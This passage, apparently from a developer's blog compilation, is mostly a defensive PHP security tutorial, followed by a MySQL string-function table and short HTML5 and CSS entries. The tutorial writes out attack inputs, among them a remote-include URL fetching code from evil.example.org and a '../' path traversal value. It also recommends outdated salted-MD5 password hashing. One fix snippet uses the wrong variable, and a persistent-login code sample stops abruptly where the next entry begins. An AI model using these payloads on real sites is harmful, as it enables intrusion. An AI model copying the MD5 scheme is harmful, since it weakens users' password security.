avoided\n\n&lt;?php\n\n&nbsp;\n\n$clean = array();\n\n$mysql = array();\n\n&nbsp;\n\n$clean[\'last_name\'] = \"O\'Reilly\";\n\n$mysql[\'last_name\'] = mysql_real_escape_string($clean[\'last_name\']);\n\n&nbsp;\n\n$sql = \"INSERT\n\nINTO   user (last_name)\n\nVALUES (\'{$mysql[\'last_name\']}\')\";\n\n&nbsp;\n\n?&gt;\n<h3>2.Exposed Data</h3>\nAnother concern regarding databases is the exposure of sensitive data. Whether you\'re storing credit card numbers, social security numbers, or something else, you want to make sure that the data in your database is safe.\n\nWhile protecting the security of the database itself is outside the scope of this book (and most likely outside a PHP developer\'s responsibility), you can encrypt the data that is most sensitive, so that a compromise of the database is less disastrous as long as the key is kept safe.\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;</td>\n</tr>\n</tbody>\n</table>\n&nbsp;\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"665\">\n<h2>Includes</h2>\nThis chapter addresses security issues related to the use of <i>includes</i>files that you include or require in a script to divide your application into separate logical units.\n<h3>1.Exposed Source Code</h3>\nA major concern regarding includes is the exposure of source code. This concern is largely a result of the following common situation:\n<ul>\n	<li>Includes use a .inc file extension.</li>\n	<li>Includes are stored within document root.</li>\n	<li>Apache has no idea what type of resource a .inc file is.</li>\n	<li>Apache has a DefaultType of text/plain.</li>\n</ul>\nBy storing as much of your PHP code outside of document root as possible, you limit this risk of exposure. At the very least, all includes should be stored outside of document root as a best practice.\n\nSeveral practices can limit the likelihood of source code exposure but not address the root cause of the problem. These include instructing Apache to process .inc files as PHP, using a .php file extension for includes, and instructing Apache to deny requests for .inc resources:\n\n&lt;Files ~ \"\\.inc$\"&gt;\n\nOrder allow,deny\n\nDeny from all\n\n&lt;/Files&gt;\n\n&nbsp;\n\nWhile these approaches have merit, none of them is as strong as placing includes outside of document root. Do not rely on these approaches for protection. At most, they can be used for Defense in Depth.\n<h3>2.Backdoor URLs</h3>\nBackdoor URLs are resources that can be accessed directly via URL when direct access is unintended or undesired. For example, a web application might display sensitive information to authenticated users:\n\n&lt;?php\n\n&nbsp;\n\n$authenticated = FALSE;\n\n$authenticated = check_auth();\n\n&nbsp;\n\n/* ... */\n\n&nbsp;\n\nif ($authenticated)\n\n{\n\ninclude \'./sensitive.php\';\n\n}\n\n&nbsp;\n\n?&gt;\n\n&nbsp;\n\nBecause sensitive.php is within document root, it can be accessed directly from a browser, bypassing the intended access control. This is because every resource within document root has a corresponding URL. In some cases, these scripts may perform a critical action, escalating the risk.\n\nIn order to prevent backdoor URLs, make sure you store your includes outside of document root. The only files that should be stored within document root are those that absolutely must be accessible via URL.\n<h3>3.Code Injection</h3>\nAn extremely dangerous situation exists when you use tainted data as the leading part of a dynamic include:\n\n&lt;?php\n\n&nbsp;\n\ninclude \"{$_GET[\'path\']}/header.inc\";\n\n&nbsp;\n\n?&gt;\n\n&nbsp;\n\nThe PHP code would be interpreted and executedexactly the opportunity that an attacker can take advantage of to deliver a serious blow to your security.\n\nImagine a value of path that indicates a resource under the attacker\'s control:\n\nhttp://example.org/index.php?path=http%3A%2F%2Fevil.example.org%2Fevil.inc%3F\n\n&nbsp;\n\nIn this example, path is the URL encoded value of the following:\n\nhttp://evil.example.org/evil.inc?\n\n&nbsp;\n\n<b>Solution :</b>\n\n&lt;?php\n\n&nbsp;\n\n$clean = array();\n\n&nbsp;\n\n/* $_GET[\'path\'] is filtered and stored in $clean[\'path\']. */\n\n&nbsp;\n\ninclude \"{$clean[\'path\']}/header.inc\";\n\n&nbsp;\n\n?&gt;\n\n&nbsp;\n\n<b> </b>\n\n&nbsp;</td>\n</tr>\n</tbody>\n</table>\n&nbsp;\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"665\">\n<h2>Files and Commands</h2>\n&nbsp;\n<h3>1.Traversing the File system:</h3>\nWhenever you use a file in any way, you must indicate the filename at some point. In many cases, the filename is given as an argument to fopen( ).\n\n&lt;?php\n\n&nbsp;\n\n$handle = fopen(\"/path/to/{$_GET[\'filename\']}.txt\", \'r\');\n\n&nbsp;\n\n?&gt;\n\n&nbsp;\n\nthe most dangerous exploit is one in which the attacker traverses the filesystem by using multiple instances of the string ../ to move up the directory tree. For example, imagine a value of filename being passed as follows:\n\nhttp://example.org/file.php?filename=../../../../../another/path/to/file\n\nThe basename( ) function can be useful for inspecting a string to check for unwanted path information:\n\n&lt;?php\n\n&nbsp;\n\n$clean = array();\n\n&nbsp;\n\nif (basename($_GET[\'filename\']) == $_GET[\'filename\'])\n\n{\n\n$clean[\'filename\'] = $_GET[\'filename\'];\n\n}\n\nelse\n\n{\n\n/* ... */\n\n}\n\n&nbsp;\n\n$handle = fopen(\"/path/to/{$clean[\'filename\']}.txt\", \'r\');\n\n&nbsp;\n\n?&gt;\n<h3>2.Remote File Risks :</h3>\nPHP has a configuration directive called allow_url_fopen that is enabled by default. It allows you to reference many types of resources as though they were local files. For example, you can retrieve the content (HTML) of a particular page by reading from a URL:\n\n&lt;?php\n\n&nbsp;\n\n$contents = file_get_contents(\'http://example.org/\');\n\n&nbsp;\n\n?&gt;\n\nThis particular example lets a user manipulate the behavior of file_get_contents( ) so that it retrieves the contents of a remote resource. Consider a request similar to the following:\n\n<a href=\"http://example.org/file.php?filename=http%3A%2F%2Fevil.example.org%2Fxss.html\">http://example.org/file.php?filename=http%3A%2F%2Fevil.example.org%2Fxss.html</a>\n\n&nbsp;\n\n<b>Solution:</b>\n\nTo strengthen this approach, you should also treat $contents as input and filter it prior to use:\n\n&lt;?php\n\n&nbsp;\n\n$clean = array();\n\n$html = array();\n\n&nbsp;\n\n/* Filter Input ($_GET[\'filename\']) */\n\n&nbsp;\n\n$contents = file_get_contents($clean[\'filename\']);\n\n&nbsp;\n\n/* Filter Input ($contents) */\n\n&nbsp;\n\n$html[\'contents\'] = htmlentities($clean[\'contents\'], ENT_QUOTES, \'UTF-8\');\n\n&nbsp;\n\necho $html[\'contents\'];\n\n&nbsp;\n\n?&gt;\n\n&nbsp;\n\nThis provides a very strong defense against numerous types of attacks, and it is the recommended approach.\n\n&nbsp;\n\n&nbsp;\n<h3>3.Command Injection :The use of system commands is a dangerous operation, and this is particularly true when you use remote data to construct the command to be issued. When tainted data is used, this represents a command injection vulnerability.</h3>\n<b> </b>\n\nThe exec( ) function is a popular function used to execute a shell command. It returns the last line of the output of the command, but you can specify an array as the second argument, and each line of output is stored as an element of that array. It can be used as follows:\n\n&lt;?php\n\n&nbsp;\n\n$last = exec(\'ls\', $output, $return);\n\n&nbsp;\n\nprint_r($output);\n\necho \"Return [$return]\";\n\n&nbsp;\n\n?&gt;\n\nWhen executed with exec( ) as shown in the prior example, the following output is generated:\n\nArray\n\n(\n\n[0] =&gt; total 0\n\n[1] =&gt; -rw-rw-r--  1 chris chris 0 May 21 12:34 php-security\n\n[2] =&gt; -rw-rw-r--  1 chris chris 0 May 21 12:34 chris-shiflett\n\n)\n\nReturn [0]\n\n&nbsp;\n\nThis is a useful and convenient way to execute shell commands, but this convenience heightens your risk. If tainted data is used to construct the string to be executed, an attacker can execute arbitrary commands.\n\n<b>Solution:</b>\n\nensure that you use only filtered data to construct the string to be executed, and always escape your output:\n\n&lt;?php\n\n&nbsp;\n\n$clean = array();\n\n$shell = array();\n\n&nbsp;\n\n/* Filter Input ($command, $argument) */\n\n&nbsp;\n\n$shell[\'command\'] = escapeshellcmd($clean[\'command\']);\n\n$shell[\'argument\'] = escapeshellarg($clean[\'argument\']);\n\n&nbsp;\n\n$last = exec(\"{$shell[\'command\']} {$shell[\'argument\']}\", $output, $return);\n\n&nbsp;\n\n?&gt;\n\n&nbsp;\n\nAlthough you can execute shell commands in many different ways, the best practice is to be consistentensure that you use only filtered and escaped data when constructing the string to be executed. Other functions that require careful attention include passthru( ), popen( ), shell_exec( ), and system( ). If at all possible, I recommend avoiding the use of shell commands altogether.\n\n&nbsp;\n\n&nbsp;</td>\n</tr>\n</tbody>\n</table>\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"665\">\n<h2>Authentication and Authorization</h2>\n</td>\n</tr>\n</tbody>\n</table>\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"665\">Authentication is the process by which a user\'s identity is proven. This typically involves a simple username and password check. Thus, a user who is logged in is an <i>authenticated user</i>.\n\nAuthorization, often called access control, is how you guard access to protected resources and determine whether a user is authorized to access a particular resource. For example, many web applications have resources that are available only to authenticated users, resources that are available only to administrators, and resources that are available to everyone.\n\nAn authorized user is trusted more than an anonymous user, but if your administrative features are available via a public URL, they are an inviting target to an attacker. In these cases, negligence is your primary foe.\n<ul>\n	<li>brute force attacks ,</li>\n	<li>password sniffing,</li>\n	<li>replay attacks,</li>\n	<li>persistent logins.</li>\n</ul>\n</td>\n</tr>\n</tbody>\n</table>\n&nbsp;\n\n&nbsp;\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"665\"><b><i>1.Brute force attack :</i></b><i> </i>A <i>brute force attack</i> is an attack in which all available options are exhausted with no intelligence regarding which options are more likely. This is more formally known as an <i>enumeration attack</i>the attack enumerates through all possibilities.brute force attacks typically involve an attacker trying to log in with a very large number of attempts. In most cases, known valid usernames are used, and the password is the only thing being guessed.\n\nAlthough a useful defense is to temporarily suspend an account once a maximum number of login failures are recorded, you might consider suspending an account according to certain aspects of the request, so that an attacker is less likely to interfere with a legitimate user\'s use of your application.\n\n&nbsp;\n\n&nbsp;\n\n<b>Solution :  </b>Please go through this example\n\nA few other approaches can also be used to make brute force attacks more difficult and less likely to succeed. A simple throttling mechanism can help to eliminate the practicality of such an attack:\n\n&lt;?php\n\n&nbsp;\n\n/* mysql_connect() */\n\n/* mysql_select_db() */\n\n&nbsp;\n\n$clean = array();\n\n$mysql = array();\n\n&nbsp;\n\n$now = time();\n\n$max = $now - 15;\n\n&nbsp;\n\n$salt = \'SHIFLETT\';\n\n&nbsp;\n\nif (ctype_alnum($_POST[\'username\']))\n\n{\n\n$clean[\'username\'] = $_POST[\'username\'];\n\n}\n\nelse\n\n{\n\n/* ... */\n\n}\n\n&nbsp;\n\n$clean[\'password\'] = md5($salt . md5($_POST[\'password\'] . $salt));\n\n$mysql[\'username\'] = mysql_real_escape_string($clean[\'username\']);\n\n&nbsp;\n\n$sql = \"SELECT last_failure, password\n\nFROM   users\n\nWHERE  username = \'{$mysql[\'username\']}\'\";\n\n&nbsp;\n\nif ($result = mysql_query($sql))\n\n{\n\nif (mysql_num_rows($result))\n\n{\n\n$record = mysql_fetch_assoc($result);\n\n&nbsp;\n\nif ($record[\'last_failure\']&gt; $max)\n\n{\n\n/* Less than 15 seconds since last failure */\n\n}\n\nelseif ($record[\'password\'] == $clean[\'password\'])\n\n{\n\n/* Successful Login */\n\n}\n\nelse\n\n{\n\n/* Failed Login */\n\n&nbsp;\n\n$sql = \"UPDATE users\n\nSET    last_failure = \'$now\'\n\nWHERE  username = \'{$mysql[\'username\']}\'\";\n\n&nbsp;\n\nmysql_query($sql);\n\n}\n\n}\n\nelse\n\n{\n\n/* Invalid Username */\n\n}\n\n}\n\nelse\n\n{\n\n/* Error */\n\n}\n\n&nbsp;\n\n?&gt;\n\n&nbsp;\n\nThis throttles the rate with which a user is allowed to try again after a login failure. If a new attempt is made within 15 seconds of a previous failure, authentication fails regardless of whether the login credentials are correct. This is a key point in the implementation. It is not enough to simply deny access when a new attempt is made within 15 seconds of the previous failurethe output in such cases must be consistent regardless of whether the login would otherwise be successful; otherwise, an attacker can simply check for inconsistent output in order to determine whether the login credentials are correct.\n\n&nbsp;\n\n<b>2.Password Sniffing .</b>\n\n<b> </b>\n\nwhen an attacker can sniff (observe) traffic between your users and your application, being mindful of data exposure becomes increasingly important, particularly regarding authentication credentials.\n\n&nbsp;\n\n<b>Solution</b>:Using SSL is an effective way to protect the contents of both HTTP requests and their corresponding responses from exposure. Any request for a resource that uses the <b>https</b> scheme is protected against password sniffing . It is a best practice to always use SSL for sending authentication credentials, and you might consider also using SSL for all requests that contain a session identifier because this helps protect your users against session hijacking.\n\n&nbsp;\n\n<b>3.Replay attack</b>\n\nA <i>replay attack</i>, sometimes called a <i>presentation attack</i>, is any attack that involves the attacker replaying data sent previously by a legitimate user in order to gain access or other privileges granted to that user.\n<h3>4.Persistent Logins</h3>\nA <i>persistent login</i> is a mechanism that persists authentication between browser sessions. In other words, a user who logs in today is still logged in tomorrow, even if the user\'s session expires between visits.\n\nThe most common flawed implementation of a persistent login that I have observed is to store the username and password in a cookie. The temptation is understandablerather than prompting the user for a username and password, you can simply read them from a cookie. Everything else about the authentication process is consistent, so this makes the implementation easy.\n\n&nbsp;\n\nA persistent login requires a persistent login cookie, often called an authentication cookie , because a cookie is the only standard mechanism that can be used to persist data across multiple sessions. If this cookie provides permanent access, it poses a serious risk to the security of your application, so you want to be sure that the information you store in the cookie has a restricted window of time for which it can be used to authenticate.\n\n&nbsp;\n\nusername is less sensitive than a password, you can store it in the cookie, and this can be used during authentication to determine which user\'s token is being presented. However, a slightly better approach is to use a secondary identifier that is less likely to be predicted or discovered. Consider a table for storing usernames and passwords that has three additional columns for a secondary identifier (<b>identifier</b>), a persistent login token (<b>token</b>), and a persistent login timeout (<b>timeout</b>):\n\n&lt;?php\n\n&nbsp;\n\n$salt = \'SHIFLETT\';\n\n&nbsp;\n\n$identifier = md5($salt . md5($username . $salt));\n\n$token = md5(uniqid(rand(), TRUE));\n\n$timeout = time() + 60 * 60 * 24 * 7;\n\n<span style=\"text-decoration: underline;\">21.</span>  <span style=\"text-decoration: underline;\">Blog21:</span>\n\n<span style=\"text-decoration: underline;\"> </span>\n\n<span style=\"text-decoration: underline;\">Header</span>:  Mysql String Functions\n\n<span style=\"text-decoration: underline;\">Category</span>:   Project Learnings\n\n<span style=\"text-decoration: underline;\"> </span>\n\n<span style=\"text-decoration: underline;\">Summary:</span>\n<table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td></td>\n</tr>\n<tr>\n<td>\n<table border=\"1\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_ascii\">ASCII()</a></td>\n<td>Return numeric value of left-most character</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_bin\">BIN()</a></td>\n<td>Return a string representation of the argument</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_bit-length\">BIT_LENGTH()</a></td>\n<td>Return length of argument in bits</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_char-length\">CHAR_LENGTH()</a></td>\n<td>Return number of characters in argument</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_char\">CHAR()</a></td>\n<td>Return the character for each integer passed</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_character-length\">CHARACTER_LENGTH()</a></td>\n<td>A synonym for CHAR_LENGTH()</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_concat-ws\">CONCAT_WS()</a></td>\n<td>Return concatenate with separator</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_concat\">CONCAT()</a></td>\n<td>Return concatenated string</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_elt\">ELT()</a></td>\n<td>Return string at index number</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_export-set\">EXPORT_SET()</a></td>\n<td>Return a string such that for every bit set in the value bits, you get an on string and for every unset bit, you get an off string</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_field\">FIELD()</a></td>\n<td>Return the index (position) of the first argument in the subsequent arguments</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_find-in-set\">FIND_IN_SET()</a></td>\n<td>Return the index position of the first argument within the second argument</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_format\">FORMAT()</a></td>\n<td>Return a number formatted to specified number of decimal places</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_hex\">HEX()</a></td>\n<td>Return a hexadecimal representation of a decimal or string value</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_insert\">INSERT()</a></td>\n<td>Insert a substring at the specified position up to the specified number of characters</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_instr\">INSTR()</a></td>\n<td>Return the index of the first occurrence of substring</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_lcase\">LCASE()</a></td>\n<td>Synonym for LOWER()</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_left\">LEFT()</a></td>\n<td>Return the leftmost number of characters as specified</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_length\">LENGTH()</a></td>\n<td>Return the length of a string in bytes</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-comparison-functions.html#operator_like\">LIKE</a></td>\n<td>Simple pattern matching</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_load-file\">LOAD_FILE()</a></td>\n<td>Load the named file</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_locate\">LOCATE()</a></td>\n<td>Return the position of the first occurrence of substring</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_lower\">LOWER()</a></td>\n<td>Return the argument in lowercase</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_lpad\">LPAD()</a></td>\n<td>Return the string argument, left-padded with the specified string</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_ltrim\">LTRIM()</a></td>\n<td>Remove leading spaces</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_make-set\">MAKE_SET()</a></td>\n<td>Return a set of comma-separated strings that have the corresponding bit in bits set</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/fulltext-search.html#function_match\">MATCH</a></td>\n<td>Perform full-text search</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_mid\">MID()</a></td>\n<td>Return a substring starting from the specified position</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-comparison-functions.html#operator_not-like\">NOT LIKE</a></td>\n<td>Negation of simple pattern matching</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/regexp.html#operator_not-regexp\">NOT REGEXP</a></td>\n<td>Negation of REGEXP</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_octet-length\">OCTET_LENGTH()</a></td>\n<td>A synonym for LENGTH()</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_ord\">ORD()</a></td>\n<td>Return character code for leftmost character of the argument</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_position\">POSITION()</a></td>\n<td>A synonym for LOCATE()</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_quote\">QUOTE()</a></td>\n<td>Escape the argument for use in an SQL statement</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/regexp.html#operator_regexp\">REGEXP</a></td>\n<td>Pattern matching using regular expressions</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_repeat\">REPEAT()</a></td>\n<td>Repeat a string the specified number of times</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_replace\">REPLACE()</a></td>\n<td>Replace occurrences of a specified string</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_reverse\">REVERSE()</a></td>\n<td>Reverse the characters in a string</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_right\">RIGHT()</a></td>\n<td>Return the specified rightmost number of characters</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/regexp.html#operator_regexp\">RLIKE</a></td>\n<td>Synonym for REGEXP</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_rpad\">RPAD()</a></td>\n<td>Append string the specified number of times</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_rtrim\">RTRIM()</a></td>\n<td>Remove trailing spaces</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_soundex\">SOUNDEX()</a></td>\n<td>Return a soundex string</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#operator_sounds-like\">SOUNDS LIKE</a></td>\n<td>Compare sounds</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_space\">SPACE()</a></td>\n<td>Return a string of the specified number of spaces</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-comparison-functions.html#function_strcmp\">STRCMP()</a></td>\n<td>Compare two strings</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_substr\">SUBSTR()</a></td>\n<td>Return the substring as specified</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_substring-index\">SUBSTRING_INDEX()</a></td>\n<td>Return a substring from a string before the specified number of occurrences of the delimiter</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_substring\">SUBSTRING()</a></td>\n<td>Return the substring as specified</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_trim\">TRIM()</a></td>\n<td>Remove leading and trailing spaces</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_ucase\">UCASE()</a></td>\n<td>Synonym for UPPER()</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_unhex\">UNHEX()</a></td>\n<td>Convert each pair of hexadecimal digits to a character</td>\n</tr>\n<tr>\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_upper\">UPPER()</a></td>\n<td>Convert to uppercase</td>\n</tr>\n</tbody>\n</table>\nReference Site: <a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_char-length\">http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_char-length</a>\n\n<span style=\"text-decoration: underline;\">22.</span>  <span style=\"text-decoration: underline;\">Blog22:</span>\n\n<span style=\"text-decoration: underline;\"> </span>\n\n<span style=\"text-decoration: underline;\">Header</span>:  Form a learning plan for an HTML5 future\n\n<span style=\"text-decoration: underline;\">Category</span>:   Web Technology\n\n<span style=\"text-decoration: underline;\">Summary:</span>\n\nThe trend toward using Web technologies for application development, even outside of the Web browser, is here to stay. The recent revelation that <a href=\"http://www.techrepublic.com/blog/programming-and-development/windows-8-native-apps-and-html5-facts-and-conjecture/4313\" target=\"_blank\">Windows 8 will have provisions for writing apps using the HTML5 technologies</a> merely cements this shift in the development world. So the question is: How are you going to deal with it?\n\nIf you haven’t been following closely, it is easy to wonder why and how Web technologies are suddenly being cast in the role of desktop application development platforms. In the <a href=\"http://dev.w3.org/html5/spec/Overview.html\">HTML5 standard</a> that is being finalized, there are a number of new items that add on real application development capabilities to HTML’s existing document formatting. In the past, big JavaScript frameworks and browser plugins were needed for some fairly trivial functionality.\n\nHTML5 changes the game by adding support for things like video streaming, multithreaded and asynchronous processing (via the “Web Workers” message passing system), direct communications through sockets, and more. While the idea that a document format standard has these capabilities may be horrifying to some (including myself), this is the direction that HTML is headed in, and it has backing from Apple, Microsoft, Google, Mozilla, Adobe, and more. In addition, the various frameworks out there make it very easy to directly connect Web applications to backend Web services. As a result, HTML5 is now as capable as technologies like Silverlight, Flash, Flex/AIR, and JavaFX for many tasks (though there are still some things that those technologies do better).\n\n<span style=\"text-decoration: underline;\">23.</span>  <span style=\"text-decoration: underline;\">Blog23:</span>\n\n<span style=\"text-decoration: underline;\"> </span>\n\n<span style=\"text-decoration: underline;\">Header</span>:  CSS3 Gradient Button Without Images\n\n<span style=\"text-decoration: underline;\">Category</span>:   Web Technology\n\n<span style=\"text-decoration: underline;\">Summary:</span>\n\n<b>Try this pasting in your HTML editor and see the result.</b>\n\n&lt;!DOCTYPE HTML&gt;\n\n&nbsp;\n\n&lt;html&gt;\n\n&nbsp;\n\n&lt;head&gt;\n\n&nbsp;\n\n&lt;title&gt;Untitled Document&lt;/title&gt;\n\n&nbsp;\n\n&lt;style type=\"text/css\"&gt;\n\n&nbsp;\n\n.button {\n\n&nbsp;\n\ndisplay: inline-block;\n\n&nbsp;\n\noutline: none;\n\n&nbsp;\n\ncursor: pointer;\n\n&nbsp;\n\ntext-align: center;\n\n&nbsp;\n\ntext-decoration: none;\n\n&nbsp;\n\nfont: 14px/100% Arial, Helvetica, sans-serif;\n\n&nbsp;\n\npadding: .5em 2em .55em;\n\n&nbsp;\n\ntext-shadow: 0 1px 1px rgba(0,0,0,.3);\n\n&nbsp;\n\n-webkit-border-radius: .5em;\n\n&nbsp;\n\n-moz-border-radius: .5em;\n\n&nbsp;\n\nborder-radius: .5em;\n\n&nbsp;\n\n-webkit-box-shadow: 0 1px 2px rgba(0,0,0,.2);\n\n&nbsp;\n\n-moz-box-shadow: 0 1px 2px rgba(0,0,0,.2);\n\n&nbsp;\n\nbox-shadow: 0 1px 2px rgba(0,0,0,.2);\n\n&nbsp;\n\n}\n\n&nbsp;\n\n.button:hover {\n\n&nbsp;\n\ntext-decoration: none;\n\n&nbsp;\n\n}\n\n&nbsp;\n\n.button:active {\n\n&nbsp;\n\nposition: relative;\n\n&nbsp;\n\ntop: 1px;\n\n&nbsp;\n\n}\n\n&nbsp;\n\n.orange {\n\n&nbsp;\n\ncolor: #fef4e9;\n\n&nbsp;\n\nborder: solid 1px #da7c0c;\n\n&nbsp;\n\nbackground: #f78d1d;\n\n&nbsp;\n\nbackground: -webkit-gradient(linear, left top, left bottom, from(#faa51a), to(#f47a20));\n\n&nbsp;\n\nbackground: -moz-linear-gradient(top,  #faa51a,  #f47a20);\n\n&nbsp;\n\nfilter:  progid:DXImageTransform.Microsoft.gradient(startColorstr=\'#faa51a\', endColorstr=\'#f47a20\');\n\n&nbsp;\n\n}\n\n&nbsp;\n\n.orange:hover {\n\n&nbsp;\n\nbackground: #f47c20;\n\n&nbsp;\n\nbackground: -webkit-gradient(linear, left top, left bottom, from(#f88e11), to(#f06015));\n\n&nbsp;\n\nbackground: -moz-linear-gradient(top,  #f88e11,  #f06015);\n\n&nbsp;\n\nfilter:  progid:DXImageTransform.Microsoft.gradient(startColorstr=\'#f88e11\', endColorstr=\'#f06015\');\n\n&nbsp;\n\n}\n\n&nbsp;\n\n.orange:active {\n\n&nbsp;\n\ncolor: #fcd3a5;\n\n&nbsp;\n\nbackground: -webkit-gradient(linear, left top, left bottom, from(#f47a20), to(#faa51a));\n\n&nbsp;\n\nbackground: -moz-linear-gradient(top,  #f47a20,  #faa51a);\n\n&nbsp;\n\nfilter:  progid:DXImageTransform.Microsoft.gradient(startColorstr=\'#f47a20\', endColorstr=\'#faa51a\');\n\n&nbsp;\n\n}\n&lt;/style&gt;\n\n&nbsp;\n\n&lt;/head&gt;\n\n&nbsp;\n\n&lt;body&gt;\n\n&nbsp;\n\n&lt;div style=\"width:100px;\"&gt;Collabor&lt;/div&gt;\n\n&nbsp;\n\n&lt;input type=\"button\" name=\"Collabor\" value=\"collabor\"/&gt;\n\n&nbsp;\n\n&lt;/body&gt;\n\n&nbsp;\n\n&lt;/html&gt;\n\n<span style=\"text-decoration: underline;\">24.</span>  <span style=\"text-decoration: underline;\">Blog24:</span>\n\n<span style=\"text-decoration: underline;\"> </span>\n\n<span style=\"text-decoration: underline;\">Header</span>:  Boolean Full-Text Searches\n\n<span style=\"text-decoration: 